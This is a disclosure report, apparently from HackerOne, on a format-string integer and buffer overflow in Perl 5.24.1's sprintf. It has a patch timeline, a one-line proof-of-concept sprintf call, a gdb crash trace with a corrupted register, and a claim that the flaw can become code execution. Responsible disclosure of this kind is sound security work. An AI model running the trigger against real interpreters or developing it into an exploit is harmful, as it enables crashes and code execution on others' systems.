Format string implementation vulnerability, resulting in code execution
Medium
Vulnerability Details
In a security audit to the sprintf implementation in perl (version 5.24.1) I found a major security vulnerability, here are the full details.
Timeline:
======
* 6th of May, 2017 - disclosure to the PERL security mailing list
* 8th of May, 2017 - vulnerability confirmed by PERL's security group, found relevant to *all* maintained branches
* 9th of May, 2017 - patch issued to branches "blead"
* 30th of May, 2017 - a patched 5.26 branch is released
* 24th of August, 2017 - a patch was committed to the 5.24 branch, awaiting 5.24.3 release
* 22nd of September, 2017 - 5.24.3 was released, announcing the format string vulnerability in the release notes - public disclosure by the project
Technical Details:
===========
file: sv.c
function: Perl_sv_vcatpvfn_flags
* precis - represents a format's precision, and can be any size_t value
* width - represents the format's width, and can be any non-negative size_t value
* Using large values can cause *multiple Integer-Overflows* when calculating 'need' = the needed allocated space for a fraction
* line 12300: need += has_precis ? precis : 6; /* known default */
* later on more values are added to need (need += 20, ...)
* Later on the use of 'width' for padding with spaces *assumes* that there is enough space in the buffer, causing a *Buffer Overflow*
PoC Script:
------------
```
print sprintf("%2000.2000f this is a spacer %4000.4294967245a", 1, 0x0.00008234p+9);
```
Crash trace - tested on a 32 bit linux machine:
--------------------------------------------------
```
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x080ebbe0 in Perl_runops_standard ()
(gdb) bt
#0 0x080ebbe0 in Perl_runops_standard ()
#1 0x08069356 in S_fold_constants ()
#2 0x080a8336 in Perl_yyparse ()
#3 0x08083219 in perl_parse ()
#4 0x0806218c in main ()
(gdb) info reg
eax 0x20202020 538976288
ecx 0x9f72900 167192832
edx 0x0 0
ebx 0x0 0
esp 0xbfe0e8c0 0xbfe0e8c0
ebp 0x9f6c4d0 0x9f6c4d0
esi 0x9f6f58c 167179660
edi 0x0 0
eip 0x80ebbe0 0x80ebbe0 <Perl_runops_standard+16>
eflags 0x10202 [ IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x /10i $eip
=> 0x80ebbe0 <Perl_runops_standard+16>: call *0x8(%eax)
0x80ebbe3 <Perl_runops_standard+19>: test %eax,%eax
0x80ebbe5 <Perl_runops_standard+21>: mov %eax,0x8207a88
0x80ebbea <Perl_runops_standard+26>:
jne 0x80ebbe0 <Perl_runops_standard+16>
0x80ebbec <Perl_runops_standard+28>: mov 0x8207290,%eax
0x80ebbf1 <Perl_runops_standard+33>: test %eax,%eax
0x80ebbf3 <Perl_runops_standard+35>:
jne 0x80ebc02 <Perl_runops_standard+50>
0x80ebbf5 <Perl_runops_standard+37>: movb $0x0,0x82072b0
0x80ebbfc <Perl_runops_standard+44>: xor %eax,%eax
0x80ebbfe <Perl_runops_standard+46>: add $0xc,%esp
```
As you can see, the first %f print enlarged the buffer, and the controllable width in the second overflowed the buffer, causing eax to be corrupt (0x20 == ' '). The program itself crashed when tried to *execute* a pointer pointed by the *controlled* eax register (+8).
Threat Analysis:
------------------
This report demonstrates a potential code execution vulnerability, in case a sprintf format will be hostile. As format string attacks are relatively more popular on C/C++ languages, they are caused by the same programming bad practices:
* "Generic" logging \ monitoring module that receives format + args, and build the message string
Such kind of vulnerabilities are still common in modern code projects, and during my career I found such vulnerabilities even in many high-profile companies. Since Perl (such as Python, and Ruby) is a memory-managed language, the programmer relies on the interpreter to "catch" problems for him, meaning that most programmers assume that these programs won't be vulnerable to format string attacks.
Conclusion:
========
The sprintf implementation has a *severe* vulnerability when handling a hostile format string. This vulnerability was demonstrated and can be easily leveraged into a remote code execution on the Perl interpreter (as I demonstrated previously in a similar vulnerability in a similar interpreter-based project).
Will be more than happy to answer any question regarding the ticket,
Eyal Itkin.
Actions
View on HackerOneReport Stats
- Report ID: 271330
- State: Closed
- Substate: resolved
- Upvotes: 7